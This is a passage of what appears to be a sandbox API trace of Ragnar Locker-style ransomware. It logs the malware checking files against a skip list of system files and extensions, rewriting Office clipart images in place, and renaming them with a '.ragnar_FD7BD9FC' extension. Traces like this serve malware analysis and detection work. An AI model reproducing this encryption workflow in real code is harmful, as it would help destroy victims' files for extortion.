-1 [0090.053] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.053] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.053] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.053] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.053] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.053] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.053] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg")) returned 0x20 [0090.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.054] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27388) returned 1 [0090.054] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6af3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.054] GetProcessHeap () returned 0x580000 [0090.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.054] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.056] VirtualAlloc (lpAddress=0x0, dwSize=0x6afc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.056] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.056] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6afc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6afc, lpOverlapped=0x0) returned 1 [0090.057] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.058] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6afc, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.058] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6afc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6afc, lpOverlapped=0x0) returned 1 [0090.058] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6afc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.058] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.058] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6afc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.058] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.058] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.058] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.058] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.058] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.058] GetProcessHeap () returned 0x580000 [0090.058] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.059] CloseHandle (hObject=0xf4) returned 1 [0090.059] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" [0090.059] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.ragnar_FD7BD9FC" [0090.059] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.059] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b7f200, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80b7f200, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02058U.BMP", cAlternateFileName="")) returned 1 [0090.059] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.060] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02058U.BMP" | out: lpString1="PH02058U.BMP") returned="PH02058U.BMP" [0090.060] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP") returned=".BMP" [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="autorun.inf") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="boot.ini") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="bootfont.bin") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="bootsect.bak") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="bootmgr") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="bootmgr.efi") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="desktop.ini") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="iconcache.db") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="ntldr") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="ntuser.dat") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="ntuser.ini") returned 1 [0090.060] lstrcmpiW (lpString1="PH02058U.BMP", lpString2="thumbs.db") returned -1 [0090.060] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.060] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.060] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.060] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.060] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.060] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.060] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp")) returned 0x20 [0090.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.061] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.061] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.061] GetProcessHeap () returned 0x580000 [0090.061] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.061] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.062] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.062] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.062] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.062] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.063] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.064] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.064] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.064] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.064] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.064] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.064] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.064] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.064] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.065] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.065] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.065] GetProcessHeap () returned 0x580000 [0090.065] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.065] CloseHandle (hObject=0xf4) returned 1 [0090.065] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" [0090.065] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.ragnar_FD7BD9FC" [0090.065] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02058U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02058u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.065] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c73f500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c73f500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02062U.BMP", cAlternateFileName="")) returned 1 [0090.066] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.066] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02062U.BMP" | out: lpString1="PH02062U.BMP") returned="PH02062U.BMP" [0090.066] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP") returned=".BMP" [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="autorun.inf") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="boot.ini") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="bootfont.bin") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="bootsect.bak") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="bootmgr") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="bootmgr.efi") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="desktop.ini") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="iconcache.db") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="ntldr") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="ntuser.dat") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="ntuser.ini") returned 1 [0090.066] lstrcmpiW (lpString1="PH02062U.BMP", lpString2="thumbs.db") returned -1 [0090.066] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.066] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.066] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.066] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.066] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.066] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.066] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp")) returned 0x20 [0090.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.067] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.067] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.067] GetProcessHeap () returned 0x580000 [0090.067] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.067] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.068] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.069] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.069] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.069] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.070] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.070] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.070] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.071] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.071] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.071] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.071] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.071] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.071] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.071] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.071] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.071] GetProcessHeap () returned 0x580000 [0090.071] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.071] CloseHandle (hObject=0xf4) returned 1 [0090.071] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" [0090.071] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.ragnar_FD7BD9FC" [0090.071] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02062U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02062u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.072] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa943ea00, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa943ea00, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x7297, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02069J.JPG", cAlternateFileName="")) returned 1 [0090.072] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.072] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02069J.JPG" | out: lpString1="PH02069J.JPG") returned="PH02069J.JPG" [0090.072] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG") returned=".JPG" [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="autorun.inf") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="boot.ini") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="bootfont.bin") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="bootsect.bak") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="bootmgr") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="bootmgr.efi") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="bootmgfw.efi") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="desktop.ini") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="iconcache.db") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="ntldr") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="ntuser.dat") returned 1 [0090.072] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="ntuser.dat.log") returned 1 [0090.073] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="ntuser.ini") returned 1 [0090.073] lstrcmpiW (lpString1="PH02069J.JPG", lpString2="thumbs.db") returned -1 [0090.073] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.073] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.073] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.073] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.073] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.073] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.073] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg")) returned 0x20 [0090.073] CreateFileW (lpFileName="\\\\?\\C:\\Program 